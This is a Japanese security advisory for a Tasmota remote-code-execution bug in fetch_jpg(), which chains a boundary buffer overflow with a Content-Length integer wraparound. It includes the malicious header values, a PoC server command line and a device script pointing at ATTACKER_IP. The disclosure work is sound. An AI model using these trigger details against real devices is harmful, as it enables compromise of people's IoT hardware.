
CVE-2026-38422 — Tasmota fetch_jpg() における複合バッファオーバーフローによるリモートコード実行 (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38422
重要度: 緊急 (CVSS 9.8)
製品: Arendst Tasmota
影響を受けるバージョン: <= 15.3.0.3
ファイル: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
関数: fetch_jpg()
作者: Saidakbarxon Maxsudxonov
開示: 責任ある開示 — 公開前に Tasmota へ報告済み
Tasmota のスクリプタードライバー (xdrv_10_scripter.ino) 内の fetch_jpg() 関数には、組み合わせることで Tasmota <= 15.3.0.3 を実行する ESP32 ベースのデバイス上でリモートコード実行を可能にする、2つの複合的なメモリ破壊の脆弱性が含まれています:
boundary[] バッファへの strcpy() オーバーフロー — WiFiClient/HTTPClient の vtable ポインタを含む隣接ヒープメモリを破壊する (CVE-2026-38426 も参照)Content-Length の uint16_t 整数ラップアラウンド — サイズ不足のバッファを割り当て、ストリーム状態の破壊を引き起こす (CVE-2026-38427 も参照)1 回の攻撃セッション内で一緒に使用することで、これらの 2 つのプリミティブはヒープ破壊を最大化し、任意コード実行を達成する確率を大幅に高めます。
Attacker MJPEG Server
│
│ Phase 1: HTTP 200 response with long boundary string
│ Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ chars)
│ → strcpy(boundary[40], 50_chars) → OVERFLOW
│ → WiFiClient vtable ptr partially overwritten
▼
ESP32 Heap Corrupted
│
│ Phase 2: MJPEG frame with Content-Length > 65535
│ Content-Length: 65537
│ → uint16_t size = 1 (wraparound)
│ → malloc(1), readBytes(buff, 1)
│ → 65536 bytes remain in stream → heap/stream corruption
▼
Double Corruption → RCE / Guaranteed DoS
# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos
PoC サーバーは以下の処理を行います:
fetchjp() トリガー)Content-Length: 65537 を持つ MJPEG フレームを送信する (ラップアラウンド)完全な実装については CVE-2026-38422_poc.py を参照してください。
>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)
デバイスは fetchjp() を使用する Tasmota スクリプトを実行している必要があります。攻撃者はデバイスが接続するサーバーを制御します (または既存の接続に対して MITM を実行します)。
バージョン <= 15.3.0.3 を実行し、scripter サポートが有効で、外部 MJPEG サーバーに接続するために fetchjp() を使用するスクリプトを実行している、すべての ESP32 ベースの Tasmota デバイス。